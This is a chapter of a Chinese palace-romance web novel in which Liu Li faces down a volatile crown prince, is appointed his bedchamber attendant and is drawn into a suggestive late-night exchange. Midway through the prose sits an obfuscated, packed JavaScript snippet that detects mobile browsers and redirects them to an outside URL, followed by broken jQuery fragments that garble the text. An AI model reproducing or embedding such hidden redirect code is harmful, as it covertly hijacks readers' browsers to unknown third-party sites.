柳荔心底跃起‘逃’的念头,可当她抬眼撞上颜烨投来的目光,惧意竟淡了几分。
她从不是遇事退缩的性子,何况是此时。
柳荔掏出手帕包起地上的小指,跨过门槛朗声道:“臣女有法子缓解殿下头痛。”
颜烨冷笑:“是吗?”
“是。”她几步走到郑侧妃身旁,将帕子递过去,转而看向赵进忠,“劳烦公公速请大夫,替侧妃接上断指。”
赵进忠抬眼看向颜烨,二人目光稍触,他忙扶起郑侧妃寻医去了。
柳荔脱力般跌坐在地,长舒一口气后道:“殿下,臣女方才所言缓解头痛之法,其实暂无。”
颜烨剑锋一扬,抵住她喉咙:“你敢戏耍孤?”
冷光迫近,柳荔身子后仰半寸,却仍镇定开口:“殿下的头痛症,怕是与郑侧妃有关。”
“哦?”颜烨挑眉,“倒要听听你如何胡诌。”
“种瓜得瓜,种豆得豆。若得了豆,必是有人先播了豆种。”
剑尖微微偏开半分。
“殿下并非真要取侧妃性命,不过是敲山震虎罢了。”
“你说孤在警示她,为何还要护着?”
“人的本能罢了。”柳荔道,“臣女见不得血光。”
“好个‘本能’。”颜烨冷笑,“世人皆以良善为准,却不知这良善有时反成灾祸之源。”
柳荔轻笑:“世间事皆有因果。侧妃这截断指偏巧落在臣女脚边,这是‘果’至于‘因’,殿下心中明镜似的。”
“倒是个通透人。”颜烨眼底掠过兴味。
“殿下比臣女更善谋算人心。”柳荔直视他,“您早知侧妃脾性,无论臣女今日捡不捡这断指,她都会将仇怨记在我头上。”
话音未落,颜烨脸色骤沉,眼底寒芒乍现,杀意翻涌间提剑直逼她面门。
柳荔却稳如磐石,连眼皮也未眨动。
剑锋擦着她脖颈抬手上挑,一缕青丝落地。
“这次只断发,下次便断首。”颜烨收剑冷笑。
她俯身叩首:“殿下仁厚宽慈,实乃天下百姓之福。”
“仁厚?”他挑眉,“孤如何从未察觉?”
“所谓圣者不自知。在臣女眼中,殿下正是这般人物。”千穿万穿,马屁不穿,柳荔信口拈来。
颜烨忽而大笑:“你与柳相果然是兄妹。”他倾身逼近,“说吧,如何断定孤头痛与她相关?”
柳荔往后退了半步:“猜的。”
“哦?倒要听听这猜测从何而来。”
“便在方才。”
她坦然道:“起初臣女确实恐慌,可在门外与殿下对视时,见您目中已有清明。那时只想着救人,并未深想。待臣女开口提议,殿下未加阻拦,心中便有了几分猜想;直到方才亲口承认,臣女彻底确认您的头痛,必与侧妃有关。”
“太州柳氏对殿下忠心可鉴,还望殿下明察。臣女定当竭尽所能,为殿下查明真相。”
颜烨眯起眼,眼底赞许之意渐浓:“太州柳氏,果然人才辈出。”
柳荔谦逊道:”殿下慧眼识人,我柳氏方能得此殊荣,效忠太子殿下。”
颜烨笑道:“柳姑娘如此聪慧,就留在宫中,负责孤的寝居事务。”
柳荔从宫中出来,已是下午时分。她刚走出宫门,柳浩与柳云川就迎了上去。
柳浩拉她看了两圈,上下打量见她毫发无损,才松了口气道:“我书信一封回太州老家,让父亲这几日赶来。”
柳荔按住他的手道:“四哥不必惊慌,太子殿下着我掌管寝居事务,并无他意。妹妹如今已是东宫司寝女官。”
柳浩脸色微沉,忽而长叹:“是哥哥对不住你。”
一旁的柳云川却眼睛发亮:“姑姑!过几日我也要入宫当差啦,到时便能天天见着你!”
柳浩皱眉斥道:“你姑姑每日要替太子铺床叠被,有什么可高兴的?”
柳云川嘟囔道:“小叔,你天天要给太子处理政务,有什么区别?”
“我……”柳浩哽住,“我是为天下百姓谋事!”
“姑姑把太子寝居伺候妥帖,殿下舒心了,自然对百姓更宽厚。”柳云川仰着脸,“姑姑也是在为百姓做事。”
稚子无忌,怼得柳浩哑口无言,他道:“外人会道太源柳家无人,才让姑娘家受这等折辱。你本该是要做太子妃的。”
“四哥切莫如此想。”柳荔忙道,“于我而言,做个司寝倒比当太子妃自在许多。”
柳浩深深看她一眼,终究只叹着摇头:“先回家吧。”
柳荔回到柳府收拾了几件贴身衣物,告别兄嫂便进了宫。
赵进忠早早的替她领了司寝的衣服,把衣服交给她。
“柳姑娘,宫中不比外面,你是太子专属司寝,只需照顾太子一人。其它人等不理他们便是。”
柳荔接过衣物,谢过赵进忠后换上宫装。
月白色窄袖衫配青碧高腰裙,双髻上簪着三两支粉绢小花,较平日多了几分柔媚。
赵进忠见状不禁赞叹:“姑娘生就天人之姿,原该多着女装才是。”
柳荔笑道:“多谢公公夸赞。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723511|173944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人缓步向前去见颜烨,行至廊间。
赵进忠忽而压低声音:“从前殿下心性温润,自得了头痛症才这般喜怒无常。若有言语过重处,还望姑娘体谅,并非殿下本心。”
柳荔目光沉静:“公公但请宽心,我既应了照料太子,必当尽心竭力,直至他病愈。”
赵进忠道:“好,好,好,有姑娘这句话,老奴就放心了。”
很快两人再次来到颜烨寝宫。这回大门敞开,里面已恢复如初。
颜烨此时坐在案几边处理公务,听到脚步声头也不抬道:“进来。”
柳荔再次踏入寝宫,与第一次完全不同的心境。
天色已暗,她寻来火折子,点燃宫灯。
暖黄烛火投下细碎光影,将男子棱角分明的脸柔化。
他眉峰展开,眼中阴霾尽散,比白日里多了几分清隽。
等着等着柳荔就有点无聊了,坐在旁边犯困,不知不觉就睡着了。
迷迷糊糊中梦见自己在一条清绿的溪水边,脱了鞋把脚泡在水里。
突然听见有人喊“荔荔”,抬眼望去,男子身影逆光而来,面容却是一片雾白。
忽然一个点头,她醒了过来,抬头见颜烨他还在处理公务。
“醒了?”颜烨放下笔问。
柳荔应了声:“嗯,殿下您好了?是要入寝吗?”
颜烨收起最后一本奏折唤道:“过来。”
柳荔极不喜他命令的口气,奈何他权势滔天,只能走过去弯着腰等他吩咐。
颜烨敲了敲桌子道:“再进些。”
她往前两步。
“还能再近。”
柳荔已无路可走,让她再进些,这不强人所难?
柳荔索性坐上桌沿,几本奏折“哗啦”落地。
她歪头凑近:“这般可够近了?”
宫装领口本就偏低,她倾身时露出修长有脖颈,在烛火下泛着温润的光泽。双髻上的小花随着动作轻颤,衬得她眼波流转,哪里还有白日里的冷肃,分明是个古灵精怪的闺中少女。
颜烨的身子下意识地往后倾,目光落在她雪白的脖子上,喉结滚动,垂下眼眸沉声道:“柳司寝你这是何意?”
柳荔嗅到了危险,她起身恢复白日的清冷:“自是尊从殿下的话。”
颜烨捡起掉在地上的奏折道:“我怎不知你如此听话。”
柳荔道:“臣女对太子的忠心日月可昭,太子让我向左,我自不敢往右。”
颜烨笑了一声道:“是吗?如此听话,今晚不必睡在外屋,与我同寝如何?”